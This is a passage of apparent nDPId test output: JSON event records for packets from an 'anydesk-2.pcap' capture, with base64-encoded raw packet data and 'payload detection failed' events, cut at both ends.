vIO7dSlPGFjEAm2znI6XIP+NmMZCn1\/\/SI\/dR2adXZIYNk2fDkrvwFmfP9\/bY4VKhg6DWzIsVE07sPDK7YivFwGqBpr5znvFqdlQSD4pjLLlHvmoD1Rtac\/TY5sCxiC7k3\/Ekqv2tIlY5L4TLK5kkqtwdjdIPuEtMYySJumR2BrjXCDe+xZMUo1qn4+AMT4GCyd+Mu+elcQwDOmkEGbx7foAFOEQpHBnmSAOhlK1I3dzaVNogFTEZag97XdupwoPs1niyEXitlvwKD6+zAN1ghLPNvRSNwL6LdzwFaneMMW9PghckITfLadtEip8gcQ+8Fos\/TJ2EvYVMD9Akq8ZIShmWvDEoFbk0Ig03yV5ohn"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":936,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +04156{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":937,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":293552,"pkt_caplen":2844,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2844,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeo9AAIAGAADAqAG7wKgBstOUG56PIBU0WcQmX1AYIBCExAAAFwMDCuFZ4hNO+msVd7tLIXLZKDGx0zfpgh5Pjg1vhD3tLtqOp58BswjwavsQOz6iq7CEZ+6inPkiR02JSvop+bn6KpCd8aUwVu3RnGuZLfpO7VoCIa\/Vt\/7hNGSGRxYUrsuzPMVhBKpwR74Ds6i44ijJ\/x2WI7a3\/pPsmEApydFPnGn7TVOGfrc2Ti9myavf\/7qy6KVgLVhZrDfqSZ6T6a1XuOWvyU\/UPYiylcDSYlIq8wNYPMHpFC9tb3pdL39UTbA821Ep\/BvHKx9lvt6yPEeVj5EvChoSFApjttQ90yGylBqHNtz0rC1QKEmwDL\/2mthdZpQpMKXXhuwGVf4YTdjofgVf9GcDpqvjgTvuOtjeumDIEQhXeXgI76PJL3WKXBbIgMee3YEpCOXk+puomKOoYU3VztbR0WPVSkutFA3X6V+G8J3PPCCRZ\/oC02WPQUF\/lRSlnyyK31ZoOn6eqWmiSCLPtN9CSeAS4iIMAKxW6j9ofXg+Y+m9aoMu9Zs+ICeHTdcHIJXPjAdhXXNg1Xnu6cKvY6wBiwwvu0nRdVJaWPsM2XSWvghZOHoDSXNwFFSEj0UXpg4x+ZRloCdz6yqXwKDfuFqzycNaReCg9dj5NnTegMNel2kOrSIPfbQ16wllhWGddIkVG3C0CVCPzfKvUchdGfRgS+sLrwBfiltCVV98vQnV+mbmy8TxwXEy5Ga5J4qLHKyFZRPfwrVpCZcuVwK8TwHC3f0hqWj0aY\/40SEW3avs2m\/9FxC6OhduY2XmhbQ04yo\/grgG1HuZVigfUC+KUi1bYbkFUJyZD9uUqPxKj78bmnfkUWM2JYfARa7U98bcmeST09TzbWC27IjDWNBKS4FZEzUOPTE7oOC0vJ2attVm2yjAiOCH9NCjnorugKX6pNz\/63+JXDVfkyIvfSE9p58gW9hiGJ5FVQa31F6eN071x\/BEwkh+HuA6GNnC7AirPmLy+ZybRhuaaIHA9p5cGoamcpEqmL3+RCsXsn+1OtrOlkTuigS2B0gxKHIT+YSprEJJX7NKH5SKMeSdEQ\/GHZfJs6W4MOvoZg8iJhm1OZ3956nnjYQGytHO\/cRpRgPjEEzyfvzTYYq6lh9wQwBcnAx81xj9GvsTNf9veTsDcf4J0ZwaJmz4kM05t76wyv95n0xaoHhSGmsQRJsVMR1X04Q+Fei56po808f\/Rnw3A0SUbd8px6TehRLpNo9NsEAEBUumxLFFy+87ChmS3mLhSyBD0jIU9rdJ+pXCOdzWea4xD4Qis3KEcYi4DfIcyB\/OxHMRsLwSrO7r\/l0vN9wp+UJs0dq2Rexc7HryJhlWANNA7W5LWX5qMA8PwxA6n0cUW7nt9wiG3jXP8roAAdqX6jdMV+8mGYGjpPowejEiR5hhdUR6p0DRjswlUQl7dJKpQd1qou8o7xxCKdVh0O1TO2tiAaw1s5bcTw8+d3k0HQgFs6qCr0gktEQ7JZK+tyUjAA5n1Preh4dCC7jfeTItoVd5jou53miOvQCNvyWIQuoS7M350mIi6CbLZIdip1GElx15zjid1d+aJKvApRqrh5fsnDzX7bK5TTVslvqZbqHV55K5Z00K1AzSACqtXQXHlNFcs3xwiZZc6kfj4ANokI5m+4GCTTptAH9IYAhGMMkaukoGpDk1dVDcaeiAJeYRGQkRHtC2O6Gf3Azmbmd+l570BHg\/+xuEdUMT2ko7\/egPmmThTbieFqzLTOfNMR27bfrSOwMAIEIEuSPgzeJdx4TmwRSQVm2pbmQ7JPKsGJljRLXTTElpkDsfsrEWS7Fr9Op+cp1ge9FuSDCf\/WkoSgXzegtaiaqdZTdciliViJA4GyRXCRKuxy8ZKhqDMkBFP27vKVa+2\/t+jF94ZTeVaFOEdaywMg4KBfixay0\/cRzUMk7pnCE2PCGBC34vT5pF7I+JYWMqPilzKEhwEOd0LhjRXB82KJq8P6If0L0ySvsMRTNPIYmvV8wT8ksPwoQjuTv\/2D1A9CWONGRSfI\/LuYJ53czSMhQCxaG830HlSrEE9D8094aRQfuk+Om6BmeL+kszYt0EffF1UUDGcnYGOtwTvRbXu0WH9V+Dc\/1HIZ+z5DcPzLpW5EzrtQJxvO95wqaZv1geTtu9\/KTcRklKLFsrYpcJcFQUs79rEiuzT5LOLZpVbZMC0\/LxOUpifB58XNzC70tiFz21G9DrpfgCnXHFvfSZKNYozoqiV6QaPENE1nFH8YSpsqfpFMcQ\/PgjJtIxk0Vwhgw2kJnHowKk7osc8ltDUoA209WCokfXhJJUIWvmByduKMK0Y0MCxE3heKzMlfEhP5vPo0VjNjhX9AXfTwvqu4Ra34Y51MgxT9bmvrGeL\/ISFttQoQDyhJduy0p488DArc8IDoZ4nxEft6tH\/0VNOxgjo7aPwQaYD8UUNHtuyaKiyPm0eOOgoI6l2xmiGrmKt7Hb1\/tv\/4+sopN12FV59\/cGpDC1OByVkmHZDvk\/\/CsNYSVv+Xm+srZ6x9dm2vcMx8NyGtKIQl4J+yg7SSdf08kd+xwU7BHVbTXctvg756hGNounexZIdcA8M7cdJaP2Xc4A4nbKnH2sJG9nUNz1Qdu4p2ERdh0HkF1MEJQSeKc0xD94W8dIzN9oy38sF1FvYgwU5ccZKeUlUD4NwUWbCkxDGRkDlyGo3zn8R9ojNO0wnD70FwCZCGkI0Gu3Ug17J\/YUTNr0jPk+asRkrNwp4Y493vQHXSiGM8aq9Xc7Xc\/j+R2MPYjtMao\/GWKB1yn9n+WPxZIBs4SR1YU0jYgc1ySmfV+x9u2IVX0635xzXHBtti3YIfsaeS9rOyVlUEN9BxSuz5F4nhs75PQG5S5YbUPhtliyBiPkzt\/uyl\/\/UlmzOLNU3lrCZqzhtJ\/nOqi1htLplb4ic6Q\/eNOlmeqiOo7MZ+HDdPIxVylYYxhQW5Olqof+TOsisAIjO77VfdxbCjkKocd5buO5DOuNDRxndIQ8bINmqZvXQSiFodW9FO5EPlx4Vg2LAhN+h0zZldwag88\/4bRNEZw\/mDJF12PCat\/BSExVVGD1+rChcgfcnKMJk22dvTXHCxvDh2rKYCvspmPDgdVSued94JTdqXLGbEH\/uQuxKkv9oQnnOltUvQ4wBsBxmbvX8qLJpCxiLcYOWOlBTq0Imb4\/rMHiZgXXYlNi4Lo5Vhi2ph7IAReGYaStxyh7fO6QPqsOPgF\/6CHhJCye+cNa6LDgvGC66Gkvad9b9uuuykgvL2wE+vH1ZmE7N29+1LtVfqD9aMq9WRCM\/nJAK\/x\/8HIWZCuP5RDGHv\/aao7YNCRdJGAIfKDeZ7X1SWVsGhKD\/TKWBRKC7NPG3dcFjNAThQBbDh5VFCkGPIOWrgiSEWc5z\/S7I2R6ztWHBX4GkfaYq5HINGAeqFck5OjEKsSDh6Mo7WPxiEYX7XcfBDdBEGhIChBmEDA0Eo4XuVNdxc48SuXaJtIKpdfua4C6AFJksvxDqIMiO25x6l2HPpU4MTDr+s3YVaaKwsiXaL9tSJwmjP2RgkvR6LGrg943GArPjGhMdaXYiFZaK5MYnFOsZJjuuCOdvZjLq79MDrc4LujsVM0cGR5qiIq2F935tqOcAHFE48xefFSwCSqyYUqZ\/G0WT\/cWJtg4KDXVsQ3KyFar3Ea0mji+5W0oGr1fO7Pdj4OGeoV+hS6uZBF3GelayRi3UC6zXuJQunpf4Ee+ISr4mr4N"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":937,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2810} +02403{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":945,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":321369,"pkt_caplen":1546,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1546,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAepVAAIAGAADAqAG7wKgBstOUG56PICAaWcQmvVAYIBCExAAAFwMDBc9Z4hNO+msVeHoMcoRkT3V41WWRGvCx+xUK3DOAhCtGkNTRJKznv8\/p\/+VSIDaw43WxN17ErcZQP\/sjhWdqkpLW+TaTQaNsD8nrnWIJ+WWaa\/8A684makGCCHNqEZDlKA6HwQO1bL92uF5Vb\/BLsJgQ+zs3P0LxUT8RD6tenXdp4gLkRDTHHD4Y1sn61UXyG\/7Swd7\/2vBRNQeWZz5jBSjIlGr+6\/CA\/XKzGUjeLVjTUzSWkKbq1EKhZRg2LdrDqRsBjM8Qv05Tqu9O+XIWA3qaD6GqtxUh4hd4GxdVEGJYm86sn+DlViI\/829C1GWRtX1QkNfKbptGTLACcW1JsWzvWHiPzwiHgcsHrhq\/n52B+0WRGYC8+16ZEjmU\/THOYC+GeymsLFkMF+KTRm9W2rqmDqxppg5ceF\/hQlg9NFIvlgGCEFjwfDBxoboHoA6uZugGr5Sle\/YKibuSbTPqjKkNU5hp9zyLKN0ZDg15SBe1kM\/xPW9u5Fsa7R3Qw1FPqYahpcOqjofur1X6lYJwFDeDKwhfCxc9db8Iy2J9iotjwbSWs3n4wl4f0dK0NIyW1koZGDTqqK\/C8W\/w\/sk1V4arsROg\/O4RVkrkphNm9AiIs6enSJ5qSKTMMMVcv1J4x5ECxI1fUqk7MJ04e+4XYksWWK2XJP+nYR\/zoQDqn9LBinGm+tK\/Pxherqhlb+UHlOvco3xdgr6DDJvLhkph9Rh2pXbwHIEySyuQhTSzBqtd30cBJTjaJu9fKEM37QUDDaFmmRf59gkT7Gg8S4P4aobPvMonff2AjDM479L5KY30CM4LPZ3p0AM447mRunLBMAokWNEEfnJjNK0Hugtoa4nEjuwuli9KE3HB0\/LW39N7W8py0dQKW9NKYVuW3aO4iva4uEG5K3wRnpMAtjARhwuYqwuCWaufYPSqsORbpnkScjqSuRvcSW8VyerbnfYDSo+2QxoNFmFsnZMBYsgHIG3Ets3FuRvNw1OWGjDCDOTd3Wqs2Mo7ra6BlMshwNnYS2r\/n5s8FtudCIMc7ZuCAtkGxoWn5Gg8Rp9FuKzUAnOg0v9MWu7A\/aMB5MW71SakI7Z9sNRZD10ezr1EJyLw0wQkY03wau\/unlwpOFobjFxwh2Eo4zrliuz4\/+TIYPt14xJzmcFNbQrProHFS+\/BkSDI8opCjmuAz3IHjmZE93f62aKNF1\/I0rJF3W7hGhTVcxbBr78J35pz2ktPYyiiXAenh6Iaydt2M\/SoFMQhh3YsJtwOedQunrPYqN02TPf9dqicXefCFaIoQCRrtmEhe2+h0bIzryfY2SeEppn8HJqVwxQCVswklixRDJgP29HD0AZPrc0kis3uTWsyrK0zUPMM2TjEGC+7MPUjz3dJeRtXOpf38B6R4F8CbV8SemNPqUdgUdGLT+RDfZUaAl5ye7DLQG8KqPJ9CAqgBOG1uL82PnHAdQ6N1TOMTbiXDuGV+TlQZuim4Wto8OspAJIl2ER7yAXTvL0hH\/i57CQza4+Ql81xWmohkuGtjfp0hedi+mU9isCE6SKCDsgGKH+Jd8QLbAqt3gusWCC2kd1g111I5NWSQp0w5exX6d4x7CI0iT2stwt82aLOEZqJm5nzGECFxmIYntdNy28dhVenNoCHwmNDpDRxn\/ubesxjbVU5ZPB7feP2v3eqdLr72YvDf4W0UC7eCdlvU993o0jmi9DpJJeizsKMHaRlqo8PGKbju+Q5RW5ibQKiFDoVUUlI9htcWVsBIVFUgNhLZsR2koCE8Vn9NpRH\/aBxL8AijsBEADDuJTu5P4pldqNxYoHwzu5hhoYpxgTgpQ\/OhScpFAAP4OZeD5chHOMV2ESu14SaDQkl0D27mbwB6lh9abFYVOZobmFgsmzWkpB16A\/jev6Qf6wTjckA0j21M6hKNltzp8wKbX81Z7ek7V910Z91Ey10h\/HuOlgQPyKVj+fshHngjFfRh9RVLLFruhtoYoYIZw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":945,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1512} +02935{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":946,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":321505,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1934,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAepdAAIAGAADAqAG7wKgBstOUG56PICXuWcQmvVAYIBCExAAAFwMDB1NZ4hNO+msVecc9ds7YHD+WNwKcMsrg1wGebjSmIx+lVWQWi33NIomNOe547\/OF7GaCsIDlCbPnjOw\/fpKrsSYT7grVXml4IhbjFG7zxC0\/kqYnrsaPkhHERZlJ9nYCEPNQse0Ez9xAUn9iimfeTaivcrOD3E1Xr9GL7axSfRa48HouOtGOB8YStSlY9\/EBORf4NkeJxQh3TH5RR0R\/dwebuLCfaRLc\/rXHvLlU0C9\/Q5PDwA4FEzQN4hkhcG+x7cZAgSW4v18AhVhB9HoxPb1U7c8kKCx7z2upkVfINWEsKsNipjxTo13sLQIO8xX8Moen1xOFJBKVqrBfIjVPoEA0OWtHtHaMOx8Ksa0lPAnKNGYfoeWjBJJ7EvipFWvJ5Q+dyJniOu1upPzHdpoH\/WgR9Jo5QJrBkIrhLRRH+UYz3ZKqG3vdoacvC8TLlO3T2Cb4BRercR\/Dfzj\/7JJOKzUB46UnNjBWgpPfKM5XhYm24M\/c8rD45fx+Xct2KD\/LOLTIgp\/ZFvQwb1SD5SA2ogoMUFHx\/Fsg2euSeGplwlAVepdYCjoFDtFGQJuIxL2C1n9mQ8x+BI0MOiz4MSiVJE6GtcjnSr\/IqSzVRRq6dNhtHcVy32zVaUta5XTrVtmOBTbS7Vn7+ImaRwbIsA3lF+UcPb+ozcbYHTPqOfwiOQ7RwA4UR7Fihox+LCIB7NLXGWRgD6h6B6POhzj3RbrUCNOA\/T0SqgQvmLtmMtLQ\/zF63pyuyU1gFbNYeNAmnUIJPyDcsF181GRUZD8EZMjfHr+\/Vs76xD36ZSvPxieQ5eT63mFEXSxY0HkHQDcRx6BYANr0nY3hiTqSWnNpJhBtcU2Bv0owExjkBxFIxxcR9sANwGfch6Eu+XXFxN36k1n2KPhvzwwl\/jVlReL64dBC0HgD61lxAXi\/x01HuKmqBT7bpYp8oOlvgUGTR\/jM89tBVzKi+pDErWTFbkdK1INtt4fLK4AuAryHaq+S0Varhc\/p\/Ax\/ZEgnyf0nkNiHYZalNHs5b0VIw34djROzKH8qOmGJ+l4le1kMyAZSCbRIR4Kv18VYXhtHyMVWszra3p7eFC2lh7tNGJ3gAmA1\/5yOhV55RTcZcZ\/qAweSn\/U0JbUdJ6qLqPlaAOVZ6Ld\/Qb7agOFW\/Wv2Jyrjb1cFUYk8fulKupajHXcbdLaDWKmYN9MRv09shMGW1fiUzB+RvKXjEArqKzFM3Kl3tBFOcEWy+XvJD4O8T\/Izocx7GOYLrtnmO7D\/6uYVkwVZmcN\/lQ4IzXxGAwX3mw11iqALrwTVLo2zfGVvJiLP9yfq20IK0I8D6s5fqKoXJs0wv61y8zXAJ1ogga0vhSXGBTIEuookESjuX8vQ1LiLCQo4las58BxgxWDi+9H2XOMB+I+DYun\/ZeANghLeXxU6JGcRVX6WfDYuboT8Ntobu2oFQVBDV5AYqKFDfPOwHzfRZIhM8eAD7g715aJxLmV14prlvI2JvS9m26qvyHFEREW+FKRHmNlNK+lrTFbm9w62a0Cyk\/YqKl2ddWZ69FMljO3fk1WVdAxvcQasP\/5C\/fsL90QMbPzFCpDAWvLfC2lhKXLq\/2hGj1e+VAzSe1iDmKZY+DWq+2XaPt3efmWxq+zUmTWie4Xk10+DARhsg21y3lnfeEdTnYYZowUnHULE3MfQx0ZHhzF38IFKBIuHRTAsNdmKVNBfaoU3eWRBho2FidxBQzwfC6HnWLFX5IHPp5bN4zeMW\/tPBuB+w+AdNaQbL\/k37nF9h9xAsU0fIweLJN6nVUIUCKYbrUgbch2qQvxMjdoeakjpMFzu0Faw5\/fanCJwlJdwrRcaXTvo1wVUHtnj8qRQyGkrYy3a11WLAr76PV1PAXTlDKXLcU6fAplSZYQCPhtw78Bj0CJJXUzjbTKyHhKzoMmE\/CYTlzNYUfm\/3k8zI4EVjq72OkIboe5S7McNIRDtscSjNlVxbZJvpqld6OSGaYw\/RDI3mEDWm6tEgLLUYkdDoux1IvuQuy67ij3wVp4zrUHTIZTaqc4sEoOm5mzd2l7UlZ6B2R12lEmORt01bM2nI51l0xO5k6WgpksTRuEhYiTGoWfg2GwW8Te9+fsXrmScaosAppc5QaVwPaBESZO0k1dRnKGrcZUKUEpYQ3rT2kzlUrNI26r5lIxnQ98o2SaGYJm\/lQ4eR7F33SpgtGj5t7IfSshkAuJDS+B2I\/72I\/D27wfO+OeEjvzldECWR+uBeew+T4GBO\/c3oaCvDICzdVATymUaazvjyqY1ghcEPJtk4nE1dYGZ7iOt0CEp6EsWyBQAMwVn\/P3FMkjqjfGHcdwOdLh9LwWdC14\/+CqwgA4cwM+cdLapd7qIcQXe0jC1wNrcUzS9CEqPZ1Pdcjbs++OpCuLK\/XeTVGOrHk2XeqdrCjX9qQPicWbCV+3QZFJw4npAHhP+\/5LpEChE8btRSP25RT4E5KO6dyGG786IbhTLdmPal0B0Eo9FheuJc3bhPMk="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":946,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1900} +04471{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":947,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":322088,"pkt_caplen":3076,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3076,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeplAAIAGAADAqAG7wKgBstOUG56PIC1GWcQmvVAYIBCExAAAFwMDC8lZ4hNO+msVetIfKdZjQsulc7gHBposR2k801H9vkGuQ3iOmr77IU6yORVctH2Pcshq3N2znDZAA2wb3PzVLroig8m4bwSWYJ9aVUW9poFSwHCLTkanjObqBNl\/eRTuaadd1RBB4ZiGMhFpLv7w\/iwCPaewhN6WKg2hhLVGd6onLp9t0y7aWBOrmEla0ryU2+Xig7HBy1CZVHxEtPH4WJTqkL9n0zDsQSFS9XLf2J7qvckGHBR76WzdBU9Ac7zdntnywfjYa+nC\/UrrpaIiZ\/iPfB8tdhoPl6jNyWcYiQ7mae\/Tg68dP4Geei2Nx3mSsIQZJGDqjJn9XcG8GQSkmqS9vR1LwOrwdfuVHEUOQU6cRn1wB88JG8eZshQCcLJ3cT6jPt0CqkpdJAvKmj87j8efmE2\/wuWCIK7DrlC1L7AL7PHwpyD8WYTdh1SyDPFADT3xvgdzg\/diCezk6tGHM9z3mQ+lNzUCgY0au5MLHLZSPjHRSn0ClMgcXjC1CI+333u0UpzXSLNHZPI5nZkbtcoQtWJrbgw7RMmzuin+cLkYrhdE2UE8xPhi2PF\/e0KjaHedmC5m3CDEp6MT1XV3\/aP9EJ3puwwISAduimMrGpP5FYMo49UZGtzl7WRD1aANpglN0dQKizQzuDGdwORQ8WnXMllPl3vZ8vewyWCh0p93931VUzxADHr6KIE4KS8+GabBHv\/jB0r7MIZPGT6ktTYB6Ds8vfcErOu53iYJl5X4OkOInriJqs9JeYn14fyBGWbfbJaKpgIaEqdPQatzPQRL7rV3o7eyGsa772pTqRKGubeRlrn3qkT\/UH3v2\/zWpUDRRNiVdzK7exW5MuQVuTzuwiJT16kpJ+mtuD38TwGiudVzIET8w0+Mv19NkNJxe99eK\/mw0OsNgLTKzmsILpfAvsJAGCudPAx2S0lFqoBdD\/X1OESEicpE5IKKmRDhn13fqYs\/YcUmYYAZEBePcujPOQq47sQlgahwM2gfpz+VR\/VJ7IMWsEYsGmnmszozJqFYLIdAGQS8geAYOEYhtl6MbrowgOftR0\/fBXgdrJdFBllI76c8X3mHtbpbzOv+F2N6ky+jAxFzK6YWoy1lg1mvLoiAnWqlMzBthlSg4xDqCAp3oM0Xv7FBJdy+4\/SmYPP5df3ecev0Ll9JHM4bWOFDl4dQL6tmAhS0bhI3sv5J3inCBhwyd77j3e48NbvQHDkLNSoDk643zSgHuv64JabxdVMIjgiJJIYHlkrB9qs3mVmoTZrUW1PyjJ74MdoIpsfPeqIC7pEKOxb7JKjoHkoXDYSMdkrijgdx1T5gGEulAiTb7yRui6wNq7do1K72TBOA8fynt5Y66vO6f6KMWLoWaiFFRKwHUgIt1S2pBZJFjfpejN2Hxpf\/zyYS+ShHAUkti\/uBqEdhlHKHk2XR0Wghw02HmWyZP8x44OYBhT7r8VYP9SMTggePhkwEM+Tr+xcKqjW2bc3rwLinx\/1pppUS\/S4Esz8gBm9rmqwDWT5b\/75JJbME2N5skrayS0JfTZqv1mqNiWb+YL9MLbeP71hUHipziggRzSvHhcI5\/Gtf1xPBv2uPJiC4n\/D3jxKlY3qWaYOM7MkmXWOg2ltb4H860norCTQ8BGSoF6TF3\/JlqNsgEjNjpiMgEUSg56y9CQQgLPexM76yDvw1ODYk9iEuEwcxqSlol30YvhD9278JZQb5Z\/KO8e6FTLBliqZ9EE7Oi8raftMr2LWsnepUHUUMMz0Sd956xXNcoL4e1C3IJPelaIh7Gw76lRUjZ5U273a0Y50+1s5f0Y\/n41qzHsjY2OCfSJkClrrU0ahBrjisLid0DWT7BNFCYggKkg\/HdHucLDN1JQ5d99HCacz8EF8GSEEU1tlEQthyknWhOGYk4XbgPMs1dqYNIVOm8fuQ7MPHP\/ttRZOw7mq8beX+GfhAVdQnztNEpo3WrV\/YPe+6Hx4H8VRlkeEs2lKrb1\/xk3HR4Pk4CVcXIBtOih\/LZ++UBPg8fq\/Jd63NWA12L7rZXO4p3UmJDSYprm8uYS8kpJEMY7NBOZfr+7Se7KhVFS6fF3Tbcm5MHB50ps3qhLoSBQTE1ZH1\/GrCJlFRnTN0zwk6Z09lHWDOAcw0+i9\/frUqO484z53Yo699dLTdo4UjLbAHTb4eok9I\/x+WXJvBwFjH3bxN+w73YPiOkOrSgOIuQHXk6CpBWlKuAmihIxAio09bkKDX1Z\/NM8B1bUnU5UDgg5MUz6jsTuRw7Tt2RdG7Rs9DSFyx6giZjY6LEvgE\/ifT1Sjyzf8ZOdNgLKHldRG4vf9fQI9rdBSf+ZmQIrdVkMNjHQg9Lt83eqEUKArt0Fl9wMN0KN1rbQUQ0cuP3O2rQIojrXIgsmrFfKVGj+KffxI0q+o6+IWauypgt91zM06e4RABTnOIbYvBeYE0puOwmH4w12HVjRVjhMyuctjEeTpctX0irA4YeVFh0XBwKflpFvT24Ia74vhzpcQMdqUSIfxUWH1qKT25fBGChtpPWO7EYWSi1iCFmOGRvtcxq97OiOEpR+FArIAbbUg4284RB20Ny\/2cwidAdj\/clSOB8g7JTADx3nSb8PUlQxmcfu9TXBpVeRQcnz3TLIoOID96FXe0dREO7xKBpusxW0jFqsHvh4yDYW5OOMXRtK1YiobeeWZEjWE2owWU4ZIPQolPa9CvfxhlHElZvEk24siRBmBqw72lN5wlN\/vEdW+qRx6\/E+kYY8G8j+NP1mMkvYNtN07h51+9PCec+eYHfbrIM21pWO7EgZk\/U1VFZwS1bvXhBnCU8ZsArhB+Qtd1KN64bInjMzeM4N9pgZyLkPAjaOR+w0dsaZHLbnSXdizHFsSPIhyxmK\/uETz+0F221Grbep\/V9XHyQHELaQtZRBMRbJSy9DBATj4Z10iR21kgBcj42Iwb3QqpTbwBWl\/JIJ+dRT4HsQz\/9tb75jXzWWlTxamXEzyTbssHfx59N7u+yXZAE2zdLUMZAxtGqTUKHcAKspCLcSa+eEhVK3ixUpHr0PXEBZ7pd\/TwWy\/F\/sbZR16YIQhWgA8UC83Do6N43QZNc6FrVilWWFo0A9iU65SMYesce7Zpvnyb6nvxkb2wikv6TRE8RSmYZwWVV9vC1NhE0cBVE6IeCEFiea47FukAgVBVT9at+64sLjiE1DwjvEtGlycHI1WdcZBkdkV1iTzeHG6B03lofvkFkOhIWvJfkjXJC4bvwc49doLoDmTbRFZgTpwFo2OjPcCCQEIkUrqbZxra0r1hpVJMf3ExtKsU1M0jHQMq05aFKwJIYS8xQH5izAQ\/8V1pzDVIpHaltHEJGAlPgmeGbwaLH4N9jO9z\/5s4jvQpyLqsk1EiMeUdawNO6UarQItEXf4X1Gqg6Ehdhz+nmF7cSAXnlqhFDL34qck9+f4xRqyQV\/qrLAM+qBs8TKFfdYnhldXjYE6JXABV9Wu\/xu75MtoroCgnzMz3NToeLU4D2xLK\/fRnf9y+WQ5E6Vyzu3GJGL1EcM6BAlVYyYFKnFwsDv9kkpPBvphn9fFWSNtS3Q0hN8v6izGntLyG27ScKFMDnObAyzw7V2blYEHpJi0OT6b71bQkzYqFUJuDvPe8\/ICtk1GLkABklfUkG4lXsk88zCofk3tLPKRqnY0MON\/Mnb2ewG90ybu+2jMbPCKDAd+8ffNlHkiOcaq+ctVOjGPxnSYiFmprICVYdFVlzwvuVSoGnO7RTR1xEGAidD08fS6UJTC7i10Mxj\/pQCt0z1RYH2Xm4nuTOLBdrrITgckVgJuS3qDosLQjMzc4Vcm590oXYS+8k4IMaj3wqEXLm+kWtTipExN0OFi\/\/QuXde1nkC4hs2OgxT0+3JiLPXhWpwuJbd6x3GfgqrvtEnM+xUPeiMnbS6qzlafdTnRQXP\/wv+RGiGie7bzVXhfrp1CIjiuiTMeoFNpM2RcdbPbAUpm3l1DaMJk1dvm0cAcSXQzomf\/sYqmF025Pni4fNwzoev0a0pQZn54ufy2KRO2613F8Fw=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":947,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3042} +07823{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":953,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":324911,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAet5AAIAGAADAqAG7wKgBstOUG56PIDkUWcQmvVAYIBCExAAAFwMDFXlZ4hNO+msVe4ada2jflJw6\/BcrfjaX1It7Q0RSgDGOXnAwJbhGohUKc0RPL02rr5LQMDXfZf8uKnjuz7wg2O4tdZNCB\/jHvm1Mn0yK+TZFzKSWiNizEnDBVHRrDXAokE6wc8YuY\/C7c92oT2xS6ZmG4aAq4oFOT+wJPY3xywpEAqQf+dNTAhCMpMJd6Y339sOs0cW4c+L+YIdgKe6ww\/swx6f+AF4seuqoXOr\/wiQV0j0e9ZK7qDZ5L0red4zUUzClEEX8oytVMJlOmYWJMMlusyaX+Gw0t0JLZEDHIJCW\/dLbmSfYJDmZATtImiceDSFjuiO\/NqFJAFYxKm67LUJjbFSIXXpJZl0UIjJ8vO7vqF9t2E+5cYsYB3OP2lGSDd106T2Bhsg+13d6BBR2bbaODk1sdgO7kWcDzNAnacEoVxnixdH9FkIq0fTjU8gHQ+FDVoZfVikqykYSsICgLlwSAf5Wha7J1cnSmbIIqsxJbPhMe+AHNHvrdNbQ0GOvBb+SM+p23HNvLhwH0\/De2njpoJ0cR6jbaAkbZMvRoJrJ5HvGFVFYcMHReH525ZglqVaboiH3vDv\/W4KZKDaEDUYUiTq\/fwSmKgt46ZMwjI5RM2UcrcKIm18k95GJqnKAf5PrGREdGnJ4vpPKQh3uuBs8B9fk0xJ5o1OEgE8+n2R5TiACkdUtkXL+CDpqMnB7tmgAskh51ev7bS\/4J3YSyAjlpBZcJemqMzJRoecs1Ir72EpldFJuaknWxfmOMdA68rwBkwXfFBBfRlIpplQt2164G0ii8u+2XrvhtK6xQaNwbI9j0Z1Uf4qoMFBHbDVDbfzTM353lZEXeNzT5ca2D0eHmgPICiDxAZysWz98YHFMfCqZxNyasOo4GD0PnX9VR7oyNKgX0kfb8fGLqYa71VECd6fT\/UtBWeGFq8gmZo4OK99fy7mgDifut6iQHEs5E9IxdhpzpOR5Cb4vUmF8W2USd8Xftlm6+RGEKOvV9jNJybXwPOlWTJTXYGunlbd6IpEVladQ8ZV7VmtydswSRor2XFp\/H2QqG8UZuP\/KipBz2nrMSNoegzu645b+sfU9GKlfRf8O9nohA2sZxnU438MMQcSpsP8gUJGGQ7jm7xcNo9doNk